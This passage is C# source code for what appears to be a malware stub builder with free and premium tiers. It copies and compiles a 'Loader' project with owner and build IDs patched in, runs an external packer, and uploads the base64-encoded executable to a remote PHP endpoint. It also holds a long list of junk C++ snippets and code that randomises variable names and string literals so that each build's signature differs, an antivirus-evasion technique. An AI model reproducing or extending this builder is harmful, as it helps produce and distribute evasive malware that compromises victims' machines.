using Newtonsoft.Json; using Newtonsoft.Json.Linq; using Org.BouncyCastle.Crypto.Engines; using Org.BouncyCastle.Crypto.Modes; using Org.BouncyCastle.Crypto.Parameters; using System; using System.Collections.Generic; using System.Collections.Specialized; using System.Diagnostics; using System.IO; using System.Linq; using System.Net; using System.Net.Http; using System.Net.Security; using System.Runtime.Remoting.Contexts; using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Text; using System.Text.RegularExpressions; using System.Threading; using Vestris.ResourceLib; public class HexGenerator { private static readonly Random random = new Random(); public static string GetRandomHex() { int length = random.Next(3, 7); // 3 to 6 digits int maxValue = (int)Math.Pow(16, length) - 1; int value = random.Next(0, maxValue + 1); return "0x" + value.ToString("X").PadLeft(length, '0'); } } class Program { static bool UrlIsValid(string url) { try { HttpWebRequest request = HttpWebRequest.Create(url) as HttpWebRequest; request.Timeout = 2000; //set the timeout to 5 seconds to keep the user from waiting too long for the page to load request.Method = "HEAD"; //Get only the header information -- no need to download any content using (HttpWebResponse response = request.GetResponse() as HttpWebResponse) { int statusCode = (int)response.StatusCode; if (statusCode >= 100 && statusCode < 400) //Good requests { return true; } else if (statusCode >= 500 && statusCode <= 510) //Server Errors { //log.Warn(String.Format("The remote server has thrown an internal error. Url is not valid: {0}", url)); return false; } } } catch (WebException ex) { if (ex.Status == WebExceptionStatus.ProtocolError) //400 errors { return false; } else { } } catch (Exception ex) { } return false; } public static string ExecuteCommandCMD(string command) { try { // Create a new process start info ProcessStartInfo procStartInfo = new ProcessStartInfo("cmd.exe", "/c " + command) { RedirectStandardError = true, RedirectStandardOutput = true, UseShellExecute = false, CreateNoWindow = true }; // Create a process and assign the start info using (Process proc = new Process()) { proc.StartInfo = procStartInfo; proc.Start(); // Wait for the process to exit proc.WaitForExit(); // Read the output and error streams string output = proc.StandardOutput.ReadToEnd(); string error = proc.StandardError.ReadToEnd(); // Return the output or error if (!string.IsNullOrEmpty(output)) { return output; } else if (!string.IsNullOrEmpty(error)) { return "Error: " + error; } else { return "No output or error."; } } } catch (Exception ex) { return "Exception: " + ex.Message; } } public static string ExecuteCommand(string ex, string args) { ProcessStartInfo procStartInfo = new ProcessStartInfo(ex, args) { RedirectStandardError = true, RedirectStandardOutput = true, UseShellExecute = false, CreateNoWindow = false }; using (Process proc = new Process()) { proc.StartInfo = procStartInfo; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); if (string.IsNullOrEmpty(output)) output = proc.StandardError.ReadToEnd(); return output; } } private static Random randomAMAQ = new Random(); public static string xxasdffds3(int length) { const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; return new string(Enumerable.Repeat(chars, length) .Select(s => s[randomAMAQ.Next(s.Length)]).ToArray()); } static string GetRandomURLA() { List stringListuq = new List { "https://raw.githubusercontent.com/VinieClara/FN-Manfiestes/main/SdkVersion.txt" }; if (stringListuq == null || stringListuq.Count == 0) { throw new ArgumentException("The list of strings is null or empty."); } Random muratrandom = new Random(); int randomIndexmurat = muratrandom.Next(0, stringListuq.Count); return stringListuq[randomIndexmurat]; } static void CopyDirectory(string sourceDir, string destDir) { DirectoryInfo dir = new DirectoryInfo(sourceDir); if (!dir.Exists) { throw new DirectoryNotFoundException($"Source directory does not exist or could not be found: {sourceDir}"); } DirectoryInfo[] dirs = dir.GetDirectories(); Directory.CreateDirectory(destDir); FileInfo[] files = dir.GetFiles(); foreach (FileInfo file in files) { string tempPath = Path.Combine(destDir, file.Name); file.CopyTo(tempPath, false); } foreach (DirectoryInfo subdir in dirs) { string tempPath = Path.Combine(destDir, subdir.Name); CopyDirectory(subdir.FullName, tempPath); } } static void ChangeExeIcon(string icoPath, string exePath) { try { if (!File.Exists(icoPath)) { Console.WriteLine($"Icon file '{icoPath}' does not exist."); return; } if (!File.Exists(exePath)) { Console.WriteLine($"Executable file '{exePath}' does not exist."); return; } // Load the executable file var iconFile = new IconFile(icoPath); var iconDirectoryResource = new IconDirectoryResource(iconFile); // Replace the icon in the executable iconDirectoryResource.SaveTo(exePath); Console.WriteLine("Icon successfully changed."); } catch (Exception ex) { Console.WriteLine($"Error: {ex.Message}"); } } static void DeleteFolder(string folderPath) { try { if (Directory.Exists(folderPath)) { Directory.Delete(folderPath, true); Console.WriteLine($"The folder '{folderPath}' and all its contents have been deleted."); } else { Console.WriteLine($"The folder '{folderPath}' does not exist."); } } catch (Exception ex) { Console.WriteLine($"Error: {ex.Message}"); } } static void ReplaceTextInFile(string filePath, string searchText, string replaceText) { if (!File.Exists(filePath)) { throw new FileNotFoundException($"File not found: {filePath}"); } string content = File.ReadAllText(filePath); content = content.Replace(searchText, replaceText); File.WriteAllText(filePath, content); } static bool ContainsPREInLast6(string str) { if (str.Length < 6) return false; string last6 = str.Substring(str.Length - 6); return last6.Contains("PRE"); } static string GetRandomNumberBIG() { Random random = new Random(); int randomNumber = random.Next(1000000, 9999999); return randomNumber.ToString(); } static string GetRandomNumberSMOL() { Random randomsm = new Random(); int randomNumbersm = randomsm.Next(250, 2800); return randomNumbersm.ToString(); } static void ReplaceFakeCode(string filePath) { List replacements = new List { "char randBuf[32];\nHCRYPTPROV hCryptProv;\nCryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);\nCryptGenRandom(hCryptProv, 32, reinterpret_cast(randBuf));\nint checkSum = 0;\nfor (int j = 0; j < 32; j += 2) {\n checkSum += (randBuf[j] * randBuf[j + 1]) ^ j;\n}\nCryptReleaseContext(hCryptProv, 0);\nstd::cout << \"Checksum: \" << checkSum << \"\\n\";", "MEMORYSTATUSEX memStatus;\nmemStatus.dwLength = sizeof(memStatus);\nGlobalMemoryStatusEx(&memStatus);\nDWORDLONG totalMem = memStatus.ullTotalPhys;\nDWORDLONG availMem = memStatus.ullAvailPhys;\nfor (int i = 0; i < 5; i++) {\n totalMem = _rotl64(totalMem, i) ^ availMem;\n}\ntotalMem %= 8192;\nstd::cout << \"Memory calc: \" << totalMem << \"\\n\";", "std::string encode = \"DeadCode_\" + std::to_string(std::rand() % 100);\nchar key = static_cast(GetTickCount() % 128);\nfor (size_t i = 0; i < encode.length(); i++) {\n encode[i] ^= (key + i);\n key = static_cast((key * 3 + i) % 256);\n}\nfor (size_t j = 0; j < encode.length() / 2; j++) {\n encode[j] += encode[encode.length() - 1 - j] ^ key;\n}\nstd::cout << \"Encoded: \" << encode << \"\\n\";", "HWND hwndList[5] = {nullptr};\nint count = 0;\nfor (int i = 0; i < 8 && count < 5; i++) {\n hwndList[count] = FindWindowExA(nullptr, hwndList[count > 0 ? count - 1 : 0], nullptr, nullptr);\n if (hwndList[count] && IsWindowVisible(hwndList[count])) count++;\n}\nBOOL isValid = count > 0 ? IsWindow(hwndList[0]) : FALSE;\nstd::cout << \"Valid windows: \" << count << \", First valid: \" << isValid << \"\\n\";", "int data[12];\nint* p = data;\nsrand(GetTickCount());\nfor (int i = 0; i < 12; i++) {\n *(p + i) = ((i * 13) ^ rand()) % 31;\n}\nint offset = 0;\nfor (int j = 0; j < 6; j++) {\n offset += (*(p + j) * j) - *(p + 11 - j);\n}\nstd::cout << \"Offset: \" << offset << \"\\n\";", "char titles[3][10] = {\"AlphaX\", \"BetaY\", \"GammaZ\"};\nDWORD pid = GetCurrentProcessId();\nfor (int i = 0; i < 3; i++) {\n titles[i][5] = static_cast('0' + (pid % 10));\n SetConsoleTitleA(titles[i]);\n Sleep(1 + (pid % 3));\n}\nSetConsoleTitleA(std::to_string(pid % 100).c_str());\nDWORD tick = GetTickCount() % 25;\nstd::cout << \"Tick: \" << tick << \"\\n\";", "int grid[5][5];\nfor (int i = 0; i < 5; i++) {\n for (int j = 0; j < 5; j++) {\n grid[i][j] = ((i * j) << 3) ^ (i + j);\n }\n}\nint flatSum = 0;\nfor (int k = 0; k < 25; k++) {\n flatSum += grid[k / 5][k % 5] * (k + 1) % 64;\n}\nstd::cout << \"Grid sum: \" << flatSum << \"\\n\";", "FILETIME ft;\nSYSTEMTIME st;\nGetSystemTimeAsFileTime(&ft);\nFileTimeToSystemTime(&ft, &st);\nst.wHour = (st.wHour + (GetTickCount() % 5)) % 24;\nst.wMinute ^= (st.wSecond >> 1);\nst.wSecond += st.wMilliseconds % 10;\nSystemTimeToFileTime(&st, &ft);\nDWORD low = ft.dwLowDateTime % 1500;\nstd::cout << \"Low time: \" << low << \"\\n\";", "float angles[8];\nDWORD seed = GetTickCount();\nsrand(seed);\nfor (int i = 0; i < 8; i++) {\n angles[i] = cos(static_cast(i + (rand() % 5)) / 3.0f);\n}\nfloat total = 0.0f;\nfor (int j = 0; j < 8; j++) {\n total += angles[j] * tan(angles[(j + rand() % 4) % 8]);\n}\nstd::cout << \"Angle total: \" << total << \"\\n\";", "DWORD freqSum = 0;\nfor (int freq = 200; freq < 260; freq += 7) {\n Beep(freq + (GetTickCount() % 10), 3 + (freq % 4));\n freqSum += (freq * (freq % 13)) % 60;\n}\nstd::cout << \"Freq sum: \" << freqSum << \"\\n\";", "int matrix[3][3] = {{1, 2, 3}, {4, 5, 6}, {7, 8, 9}};\nsrand(GetCurrentThreadId());\nfor (int i = 0; i < 3; i++) for (int j = 0; j < 3; j++) matrix[i][j] += rand() % 5;\nint det = 0;\nfor (int i = 0; i < 3; i++) {\n det += matrix[0][i] * (matrix[1][(i + 1) % 3] * matrix[2][(i + 2) % 3] - matrix[1][(i + 2) % 3] * matrix[2][(i + 1) % 3]);\n}\ndet %= 150;\nstd::cout << \"Det: \" << det << \"\\n\";", "char buffer[20] = \"Delta1_Obf\";\nDWORD tick = GetTickCount();\nfor (int i = 0; i < 19; i++) {\n buffer[i] ^= (buffer[i + 1] + (tick % 7));\n buffer[i] = _rotl8(buffer[i], i % 4);\n}\nstd::string temp(buffer);\nfor (char& c : temp) c = (c << 2) % 127;\nstd::cout << \"Temp: \" << temp << \"\\n\";", "POINT p;\nGetCursorPos(&p);\nint x = p.x ^ (GetTickCount() % 100);\nint y = p.y;\nfor (int i = 0; i < 5; i++) {\n x = (x * 5 + i) % 2560;\n y = (y ^ (x >> i)) % 1440;\n}\np.x = x + (y << 1);\nstd::cout << \"Cursor calc: \" << p.x << \"\\n\";", "int* ptr = new int[15];\nDWORD seed = GetCurrentThreadId();\nsrand(seed);\nfor (int i = 0; i < 15; i++) {\n ptr[i] = ((i * 17) ^ rand()) % 59;\n}\nint product = 1;\nfor (int j = 0; j < 15; j += 2) {\n product *= (ptr[j] + ptr[j + 1]) % 100;\n}\nstd::cout << \"Product: \" << product << \"\\n\";\ndelete[] ptr;", "SYSTEMTIME st;\nGetSystemTime(&st);\nunsigned int fakeHash = (st.wSecond * 1000 + st.wMilliseconds) ^ st.wHour;\nfor (int i = 0; i < 6; i++) {\n fakeHash = _rotl(fakeHash, i) ^ (st.wMinute + i);\n}\nDWORD tick = GetTickCount();\nfakeHash += (tick % 150);\nstd::cout << \"Fake hash: \" << fakeHash << \"\\n\";", "std::string dummyStr = \"Calc_\" + std::to_string(GetTickCount() % 100);\nfloat angle = 0.0f;\nfor (size_t i = 0; i < dummyStr.length(); i++) {\n angle += sin(static_cast(dummyStr[i] % 15) / 2.0f);\n dummyStr[i] ^= ((i + 1) % 5);\n}\ndouble result = angle * 3.14159 * cos(angle);\nstd::cout << \"Result: \" << result << \"\\n\";", "HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);\nCONSOLE_SCREEN_BUFFER_INFO csbi;\nGetConsoleScreenBufferInfo(hConsole, &csbi);\nshort origCols = csbi.dwSize.X;\nshort origRows = csbi.dwSize.Y;\ncsbi.dwSize.X += (GetTickCount() % 5);\nSetConsoleScreenBufferSize(hConsole, csbi.dwSize);\nSleep(2);\ncsbi.dwSize.X = origCols;\ncsbi.dwSize.Y += (rand() % 3);\nSetConsoleScreenBufferSize(hConsole, csbi.dwSize);\nSleep(1);\ncsbi.dwSize.Y = origRows;\nSetConsoleScreenBufferSize(hConsole, csbi.dwSize);", "int tempArr[10];\nDWORD seed = GetCurrentProcessId();\nsrand(seed);\nfor (int i = 0; i < 10; i++) {\n tempArr[i] = ((i << 4) ^ (rand() + i)) % 31;\n}\nint sum = 0;\nfor (int j = 0; j < 10; j++) {\n sum += tempArr[j] * (j + 2) ^ (sum >> 1);\n}\nstd::cout << \"Array sum: \" << sum << \"\\n\";", "int noiseArr[16];\nsrand(static_cast(GetCurrentProcessId() ^ GetTickCount()));\nfor (int i = 0; i < 16; i++) {\n noiseArr[i] = (rand() ^ (i << 2)) % 73;\n}\nint noiseSum = 0;\nfor (int j = 0; j < 16; j += 3) {\n noiseSum += noiseArr[j] * noiseArr[(j + 1) % 16] - noiseArr[(j + 2) % 16];\n}\nstd::cout << \"Noise sum: \" << noiseSum << \"\\n\";", "char obfuscate[24] = \"HiddenText1234567890\";\nDWORD tickShift = GetTickCount();\nfor (int i = 0; i < 23; i++) {\n obfuscate[i] ^= (tickShift % 13) + obfuscate[i + 1];\n obfuscate[i] = _rotr8(obfuscate[i], (i % 3) + 1);\n}\nstd::string obfStr(obfuscate);\nfor (size_t k = 0; k < obfStr.length(); k++) {\n obfStr[k] += (k % 7);\n}\nstd::cout << \"Obfuscated: \" << obfStr << \"\\n\";", "float wave[10];\nDWORD waveSeed = GetCurrentThreadId();\nsrand(waveSeed);\nfor (int i = 0; i < 10; i++) {\n wave[i] = sin(static_cast(rand() % 20) / 4.0f) + cos(static_cast(i) / 2.0f);\n}\nfloat waveSum = 0.0f;\nfor (int j = 0; j < 10; j++) {\n waveSum += wave[j] * wave[(j + 3) % 10];\n}\nstd::cout << \"Wave sum: \" << waveSum << \"\\n\";", "int lattice[4][4];\nfor (int i = 0; i < 4; i++) {\n for (int j = 0; j < 4; j++) {\n lattice[i][j] = ((i ^ j) << 4) + (GetTickCount() % 17);\n }\n}\nint latticeProd = 1;\nfor (int k = 0; k < 16; k++) {\n latticeProd *= lattice[k / 4][k % 4] % 41;\n}\nstd::cout << \"Lattice prod: \" << latticeProd << \"\\n\";", "SYSTEMTIME sysTime;\nGetLocalTime(&sysTime);\nDWORD timeHash = sysTime.wDay * 1440 + sysTime.wHour * 60 + sysTime.wMinute;\nfor (int i = 0; i < 5; i++) {\n timeHash ^= (timeHash << i) + sysTime.wMilliseconds;\n}\ntimeHash %= 10000;\nstd::cout << \"Time hash: \" << timeHash << \"\\n\";", "char soundSeq[16];\nsrand(GetTickCount());\nfor (int i = 0; i < 16; i++) {\n soundSeq[i] = static_cast((rand() % 50) + 65);\n}\nint soundSum = 0;\nfor (int j = 0; j < 16; j += 4) {\n Beep(soundSeq[j] * 10, 2);\n soundSum += soundSeq[j] ^ soundSeq[j + 1];\n}\nstd::cout << \"Sound sum: \" << soundSum << \"\\n\";", "int* dynArr = new int[20];\nsrand(GetCurrentProcessId());\nfor (int i = 0; i < 20; i++) {\n dynArr[i] = (rand() * i) % 97;\n}\nint dynSum = 0;\nfor (int j = 0; j < 20; j += 2) {\n dynSum += (dynArr[j] << 1) - dynArr[j + 1];\n}\nstd::cout << \"Dynamic sum: \" << dynSum << \"\\n\";\ndelete[] dynArr;", "CONSOLE_CURSOR_INFO cci;\nHANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);\nGetConsoleCursorInfo(hOut, &cci);\ncci.dwSize = (cci.dwSize + (GetTickCount() % 10)) % 100;\nSetConsoleCursorInfo(hOut, &cci);\nSleep(1);\ncci.dwSize = 25;\nSetConsoleCursorInfo(hOut, &cci);\nDWORD cursorTick = GetTickCount() % 50;\nstd::cout << \"Cursor tick: \" << cursorTick << \"\\n\";", "std::string twist = \"Twist_\" + std::to_string(GetCurrentThreadId() % 100);\nchar twistKey = static_cast(rand() % 64 + 32);\nfor (size_t i = 0; i < twist.length(); i++) {\n twist[i] ^= twistKey + (i % 3);\n twistKey = static_cast((twistKey << 1) % 128);\n}\nfor (size_t j = 0; j < twist.length(); j++) {\n twist[j] += twist[(j + 1) % twist.length()];\n}\nstd::cout << \"Twisted: \" << twist << \"\\n\";", "int scramble[8];\nDWORD scramSeed = GetTickCount() ^ GetCurrentProcessId();\nsrand(scramSeed);\nfor (int i = 0; i < 8; i++) {\n scramble[i] = (rand() ^ (i << 3)) % 43;\n}\nint scramSum = 0;\nfor (int j = 0; j < 8; j++) {\n scramSum += scramble[j] * (scramble[(j + 2) % 8] >> 1);\n}\nstd::cout << \"Scramble sum: \" << scramSum << \"\\n\";", "FILETIME ftRand;\nGetSystemTimeAsFileTime(&ftRand);\nDWORD randLow = ftRand.dwLowDateTime;\nDWORD randHigh = ftRand.dwHighDateTime;\nfor (int i = 0; i < 4; i++) {\n randLow ^= (randHigh >> i) + (GetTickCount() % 11);\n randHigh = _rotl(randHigh, i);\n}\nrandLow %= 2000;\nstd::cout << \"Random low: \" << randLow << \"\\n\";", "int matrix4[4][4];\nsrand(GetCurrentThreadId());\nfor (int i = 0; i < 4; i++) {\n for (int j = 0; j < 4; j++) {\n matrix4[i][j] = (rand() % 10) + (i * j);\n }\n}\nint trace = 0;\nfor (int k = 0; k < 4; k++) {\n trace += matrix4[k][k] * (matrix4[(k + 1) % 4][(k + 1) % 4] % 7);\n}\nstd::cout << \"Matrix trace: \" << trace << \"\\n\";", "char noiseStr[32];\nsrand(GetTickCount());\nfor (int i = 0; i < 32; i++) {\n noiseStr[i] = static_cast((rand() % 95) + 32);\n}\nint noiseHash = 0;\nfor (int j = 0; j < 32; j += 2) {\n noiseHash += (noiseStr[j] ^ noiseStr[j + 1]) * (j + 1);\n}\nstd::cout << \"Noise hash: \" << noiseHash << \"\\n\";", "POINT cursorShift;\nGetCursorPos(&cursorShift);\nint shiftX = cursorShift.x;\nint shiftY = cursorShift.y;\nfor (int i = 0; i < 6; i++) {\n shiftX = (shiftX + (GetTickCount() % 13)) % 1920;\n shiftY ^= (shiftX << i) % 1080;\n}\ncursorShift.x = shiftX - shiftY;\nstd::cout << \"Shifted X: \" << cursorShift.x << \"\\n\";", "int* fluxArr = new int[12];\nsrand(GetCurrentProcessId() ^ GetTickCount());\nfor (int i = 0; i < 12; i++) {\n fluxArr[i] = ((i << 2) + rand()) % 67;\n}\nint fluxProd = 1;\nfor (int j = 0; j < 12; j += 3) {\n fluxProd *= fluxArr[j] ^ fluxArr[(j + 1) % 12];\n}\nstd::cout << \"Flux prod: \" << fluxProd << \"\\n\";\ndelete[] fluxArr;", "SYSTEMTIME stShift;\nGetSystemTime(&stShift);\nDWORD shiftVal = stShift.wMinute * 60 + stShift.wSecond;\nfor (int i = 0; i < 5; i++) {\n shiftVal = (shiftVal << i) ^ (stShift.wMilliseconds + i);\n}\nshiftVal %= 5000;\nstd::cout << \"Shift val: \" << shiftVal << \"\\n\";", "float sinWave[6];\nsrand(GetCurrentThreadId());\nfor (int i = 0; i < 6; i++) {\n sinWave[i] = sin(static_cast(rand() % 10) / 3.0f);\n}\nfloat waveMix = 0.0f;\nfor (int j = 0; j < 6; j++) {\n waveMix += sinWave[j] * cos(sinWave[(j + 2) % 6]);\n}\nstd::cout << \"Wave mix: \" << waveMix << \"\\n\";", "char titleMix[15] = \"MixTitle_123\";\nDWORD pidMix = GetCurrentProcessId();\nfor (int i = 0; i < 3; i++) {\n titleMix[i + 9] = static_cast('0' + (pidMix % 10));\n SetConsoleTitleA(titleMix);\n pidMix /= 10;\n Sleep(1);\n}\nSetConsoleTitleA(\"Console\");\nstd::cout << \"Title mix done\\n\";", "int grid3[3][3];\nsrand(GetTickCount());\nfor (int i = 0; i < 3; i++) {\n for (int j = 0; j < 3; j++) {\n grid3[i][j] = (rand() % 15) ^ (i + j);\n }\n}\nint gridSum = 0;\nfor (int k = 0; k < 9; k++) {\n gridSum += grid3[k / 3][k % 3] * (k % 4 + 1);\n}\nstd::cout << \"Grid3 sum: \" << gridSum << \"\\n\";", "DWORD beepCycle = 150;\nfor (int i = 0; i < 5; i++) {\n Beep(beepCycle + (GetTickCount() % 20), 4 + (i % 3));\n beepCycle += (rand() % 10);\n}\nDWORD cycleSum = beepCycle * (GetTickCount() % 7);\nstd::cout << \"Cycle sum: \" << cycleSum << \"\\n\";", "int* rotArr = new int[14];\nsrand(GetCurrentProcessId());\nfor (int i = 0; i < 14; i++) {\n rotArr[i] = _rotl(i * 11, i % 4) % 53;\n}\nint rotSum = 0;\nfor (int j = 0; j < 14; j += 2) {\n rotSum += rotArr[j] ^ (rotArr[j + 1] >> 1);\n}\nstd::cout << \"Rot sum: \" << rotSum << \"\\n\";\ndelete[] rotArr;", "std::string fluxStr = \"Flux_\" + std::to_string(GetTickCount() % 1000);\nchar fluxKey = static_cast(GetCurrentThreadId() % 128);\nfor (size_t i = 0; i < fluxStr.length(); i++) {\n fluxStr[i] ^= (fluxKey + i) % 64;\n fluxKey = static_cast((fluxKey * 5) % 256);\n}\nfor (size_t j = 0; j < fluxStr.length() / 2; j++) {\n fluxStr[j] -= fluxStr[fluxStr.length() - 1 - j];\n}\nstd::cout << \"Flux str: \" << fluxStr << \"\\n\";", "MEMORY_BASIC_INFORMATION mbi;\nVirtualQuery(GetCurrentProcess(), &mbi, sizeof(mbi));\nSIZE_T baseAddr = reinterpret_cast(mbi.BaseAddress);\nfor (int i = 0; i < 5; i++) {\n baseAddr = (baseAddr >> i) ^ (GetTickCount() + i);\n}\nbaseAddr %= 32768;\nstd::cout << \"Base addr: \" << baseAddr << \"\\n\";", "int polyArr[10];\nsrand(GetCurrentThreadId() ^ GetTickCount());\nfor (int i = 0; i < 10; i++) {\n polyArr[i] = ((rand() << 2) ^ i) % 89;\n}\nint polySum = 0;\nfor (int j = 0; j < 10; j += 2) {\n polySum += polyArr[j] * polyArr[j + 1] - (polySum % 5);\n}\nstd::cout << \"Poly sum: \" << polySum << \"\\n\";", "char mixBuf[20] = \"MixBuffer98765432\";\nDWORD mixTick = GetTickCount();\nfor (int i = 0; i < 19; i++) {\n mixBuf[i] ^= mixBuf[i + 1] + (mixTick % 9);\n mixBuf[i] = _rotl8(mixBuf[i], (i % 5));\n}\nstd::string mixStr(mixBuf);\nfor (char& c : mixStr) {\n c = (c + (GetTickCount() % 3)) % 127;\n}\nstd::cout << \"Mix str: \" << mixStr << \"\\n\";", "SYSTEMTIME stMix;\nGetLocalTime(&stMix);\nDWORD mixHash = stMix.wHour * 3600 + stMix.wMinute * 60 + stMix.wSecond;\nfor (int i = 0; i < 4; i++) {\n mixHash ^= (mixHash >> i) + (stMix.wDay << i);\n}\nmixHash %= 7500;\nstd::cout << \"Mix hash: \" << mixHash << \"\\n\";", "float polyWave[8];\nsrand(GetTickCount());\nfor (int i = 0; i < 8; i++) {\n polyWave[i] = cos(static_cast(rand() % 15) / 2.0f) * sin(static_cast(i));\n}\nfloat polyMix = 0.0f;\nfor (int j = 0; j < 8; j++) {\n polyMix += polyWave[j] * polyWave[(j + 1) % 8];\n}\nstd::cout << \"Poly mix: \" << polyMix << \"\\n\";", "int* chaosArr = new int[18];\nsrand(GetCurrentProcessId());\nfor (int i = 0; i < 18; i++) {\n chaosArr[i] = (rand() ^ (i << 3)) % 61;\n}\nint chaosSum = 0;\nfor (int j = 0; j < 18; j += 3) {\n chaosSum += chaosArr[j] * (chaosArr[(j + 2) % 18] >> 2);\n}\nstd::cout << \"Chaos sum: \" << chaosSum << \"\\n\";\ndelete[] chaosArr;" }; Random random = new Random(); string text = File.ReadAllText(filePath); // Replace each /*FAKE CODE*/ with a randomized C++ snippet text = Regex.Replace(text, @"/\*FAKE CODE\*/", match => { string selectedCode = replacements[random.Next(replacements.Count)]; return RandomizeCodeBlock(selectedCode, random); }); File.WriteAllText(filePath, text); } static string RandomizeCodeBlock(string code, Random random) { // Generate random suffix for variable names string GenerateRandomSuffix() => random.Next(1000, 9999).ToString() + RandomString(3, random); // Generate random alphanumeric string string RandomString(int length, Random rand) { const string chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; char[] result = new char[length]; for (int i = 0; i < length; i++) result[i] = chars[rand.Next(chars.Length)]; return new string(result); } // Dictionary to track variable name replacements Dictionary varReplacements = new Dictionary(); // Common variable names to replace (excluding keywords and types) string[] variableNames = { "randBuf", "hCryptProv", "checkSum", "j", "memStatus", "totalMem", "availMem", "i", "encode", "key", "hwndList", "count", "isValid", "data", "p", "offset", "titles", "pid", "tick", "grid", "flatSum", "seed", "total", "freqSum", "freq", "matrix", "det", "buffer", "temp", "ptr", "product", "fakeHash", "dummyStr", "angle", "result", "hConsole", "csbi", "origCols", "origRows", "tempArr", "sum", "noiseArr", "noiseSum", "obfuscate", "tickShift", "obfStr", "wave", "waveSeed", "waveSum", "lattice", "latticeProd", "sysTime", "timeHash", "soundSeq", "soundSum", "dynArr", "dynSum", "cci", "hOut", "cursorTick", "twist", "twistKey", "scramble", "scramSeed", "scramSum", "ftRand", "randLow", "randHigh", "matrix4", "trace", "noiseStr", "noiseHash", "cursorShift", "shiftX", "shiftY", "fluxArr", "fluxProd", "stShift", "shiftVal", "sinWave", "waveMix", "titleMix", "pidMix", "grid3", "gridSum", "beepCycle", "cycleSum", "rotArr", "rotSum", "fluxStr", "fluxKey", "mbi", "baseAddr", "polyArr", "polySum", "mixBuf", "mixTick", "mixStr", "stMix", "mixHash", "polyWave", "polyMix", "chaosArr", "chaosSum" }; // Replace variable names foreach (string var in variableNames) { if (!varReplacements.ContainsKey(var)) { varReplacements[var] = var + GenerateRandomSuffix(); } code = Regex.Replace(code, $@"\b{var}\b", varReplacements[var]); } // Randomize string literals (only those in quotes, not format specifiers like "\n") code = Regex.Replace(code, @"\""([^\""]+)\""", match => { string originalString = match.Groups[1].Value; if (originalString == "\\n") return match.Value; // Skip newline return "\"" + RandomString(originalString.Length, random) + "\""; }); return code; } public static string GetUserAvatar(string userId) { var client = new WebClient(); client.Headers.Add("Authorization", "Bot " + "??"); var json = client.DownloadString("https://discord.com/api/v9/users/" + userId); var obj = JObject.Parse(json); var id = obj["id"].ToString(); var avatar = obj["avatar"].ToString(); var ext = avatar.StartsWith("a_") ? "gif" : "png"; return $"https://cdn.discordapp.com/avatars/{id}/{avatar}.{ext}"; } public static string domene = "x"; static void BuildStub(Object parameters) { Console.WriteLine("Building Stub"); try { dynamic pars = parameters; string Owd = pars.oib; string Bwd = pars.bkey; string Exnm = pars.exnam; string Icnd = pars.icn; string iconsave = "messi"; // C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\MSBuild\Current\Bin // D:\VisualStudio\Community\MSBuild\Current\Bin\MSBuild.exe // C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin string msbuildPath = @"C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe"; string FolderTMP = xxasdffds3(16); string TMPCopy = Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP; string contents; if (ContainsPREInLast6(Bwd)) { Console.WriteLine("Compiling premium stub"); CopyDirectory(Directory.GetCurrentDirectory() + "\\LoaderPRE", TMPCopy); Thread.Sleep(150); ReplaceTextInFile(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\Ecy.h", "OMGHERE", HexGenerator.GetRandomHex()); Thread.Sleep(20); ReplaceTextInFile(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\Loader.cpp", "//OWNERID", Owd); Thread.Sleep(20); ReplaceTextInFile(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\Loader.cpp", "//BUILDID", Bwd); Thread.Sleep(20); //ReplaceFakeCode(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\Loader.cpp"); string projectPath = Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\LoaderPRE.vcxproj"; string arguments = $"\"{projectPath}\" /p:Configuration=Release /p:Platform=x64"; ExecuteCommand(msbuildPath, arguments); Thread.Sleep(12000); contents = Convert.ToBase64String(File.ReadAllBytes(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\x64\\Release\\LoaderPRE.exe")); } else { Console.WriteLine("Compiling free stub"); CopyDirectory(Directory.GetCurrentDirectory() + "\\Loader", TMPCopy); Thread.Sleep(150); ReplaceTextInFile(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\Loader.cpp", "//OWNERID", Owd); Thread.Sleep(20); ReplaceTextInFile(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\Loader.cpp", "//BUILDID", Bwd); Thread.Sleep(20); string projectPath = Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\Loader.vcxproj"; string arguments = $"\"{projectPath}\" /p:Configuration=Release /p:Platform=x64"; ExecuteCommand(msbuildPath, arguments); Thread.Sleep(10000); ExecuteCommand(Directory.GetCurrentDirectory() + "\\HPX.exe", Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\x64\\Release\\Loader.exe"); Thread.Sleep(5000); contents = Convert.ToBase64String(File.ReadAllBytes(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\x64\\Release\\Loader.exe")); } string fileToSend = Bwd + ".txt"; // The file you want to send File.WriteAllText(fileToSend, contents); Console.WriteLine("exe converted to text and saved as " + fileToSend + " "); Thread.Sleep(50); string phpUrl = $"https://{domene}/index.php?security=1&type=H1"; // Replace with your PHP script URL using (WebClient client = new WebClient()) { // Upload the file byte[] responseArray = client.UploadFile(phpUrl, fileToSend); // Get the response from the PHP script (if any) string response = System.Text.Encoding.ASCII.GetString(responseArray); Console.WriteLine("Response from PHP: " + response); } Thread.Sleep(1000); DeleteFolder(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP); File.Delete(fileToSend); Thread.Sleep(3000); string FolderSUO = xxasdffds3(14); string SuoCoppi = Directory.GetCurrentDirectory() + 